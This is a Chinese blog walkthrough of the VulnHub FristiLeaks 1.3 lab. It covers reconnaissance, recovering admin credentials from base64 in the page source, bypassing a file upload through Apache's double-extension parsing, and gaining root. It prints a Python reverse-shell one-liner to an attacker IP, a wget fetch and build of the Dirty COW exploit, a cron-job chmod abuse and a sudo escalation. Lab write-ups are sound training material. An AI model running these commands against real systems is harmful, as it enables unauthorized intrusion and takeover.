vulnhub系列:Fristileaks 1.3

vulnhub系列:Fristileaks 1.3

靶机下载

根据官网提示,将mac地址改为 08:00:27:A5:A6:76

01

IP地址在启动后已经给出

02

一、信息收集

nmap扫描端口,只开启了80端口,是apache2.2.15版本,且robots.txt中给出了三个目录:/cola /sisi /beer

nmap 192.168.23.170 -A

04

目录扫描,没什么新发现

dirb http://192.168.23.170

05

访问目标首页,没什么发现

03

访问robots.txt中的三个路径,返回的都是同一张图片,上面写着这不是url,可能需要找到一个url或路径

06

尝试之后,将首页的fristi拼接可以得到新页面

07

可以看到说是一个管理门户

08

在登录框测试弱口令、暴力破解等没有成功,也没有找到其他功能点

f12查看源码

一个提示:表示对图片进行了base64加密

11

一个留言(留言的名字可能作为用户名)

10

一串base64的加密字符

09

把这串加密字符复制下来,写入到1.txt中进行解密

base64 -d 1.txt

12

解密发现是一个图片,那么把内容写入到图片中,查看图片

base64 -d 1.txt > 1.png

13

这里的内容可能作为密码,用之前疑似用户名的留言者和这一串值进行登录,成功登录

eezeepz:keKkeKKeKKeKkEkkEk

14

有一个文件上传功能

15

二、getshell

上传php文件失败,burp拦截数据包,修改Content-Type尝试绕过,失败

16

考虑到之前扫描到使用了apache服务器,版本为2.2.15,可以尝试利用其解析漏洞

在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png

可以看到是存在漏洞的,文件成功上传到了/uploads目录下

17

访问该文件,文件正常解析

http://192.168.23.170/fristi/uploads/1.php.png

18

蚁剑进行连接

19

上传一个执行系统命令的文件

20

使用hackbar插件,提交post数据

cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

21

成功反弹shell

22

三、提权

1、脏牛提权

查看内核版本,可以尝试脏牛提权

uname -r

23

查找脏牛脚本

searchsploit 'Dirty COW'

24

用一个符合版本的脚本,将其导到当前路径

searchsploit -m 40839.c

25

本机开启一个临时的web服务

python3 -m http.server

26

wget下载脏牛脚本,并赋予权限

wget http://192.168.23.133:8000/40839.c

chmod 777 40839.c

27

编译并运行,密码自己设置一个,我这里设置123456

gcc -pthread 40839.c -o 40839 -lcrypt

./40839

28

切换到firefart用户,提权成功

su firefart

id

29

2、sudo提权

home目录查看用户,有三个用户,进入admin目录是没有权限

admin
eezeepz
fristigod

30

在eezeepz家目录下找到notes.txt

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/

不要忘记为每个二进制文件指定完整路径!

只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次

31

执行如下命令

echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis

查看/tmp/cronresult

cat /tmp/cronresult

32

成功cd到admin用户

33

查看文件,发现两串base64值

whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

34

一个加密脚本

import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

35

尝试逆转机密机制,将脚本保存到桌面下1.py

import base64,codecs,sys

def decodeString(str):
  rot13string = codecs.decode(str[::-1], 'rot13')
  return base64.b64decode(rot13string)

print(decodeString(sys.argv[1]))

运行1.py脚本解密

python 1.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!

python 1.py mVGZ3O3omkJLmy2pcuTq
thisisalsopw123

36

登录fristigod,发现并不是root权限

fristigod
LetThereBeFristi!

37

history查看历史命令,发现执行命令时会使用sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

38

以root身份打开终端,在命令后加/bin/bash提权成功

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

39

  • 8
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值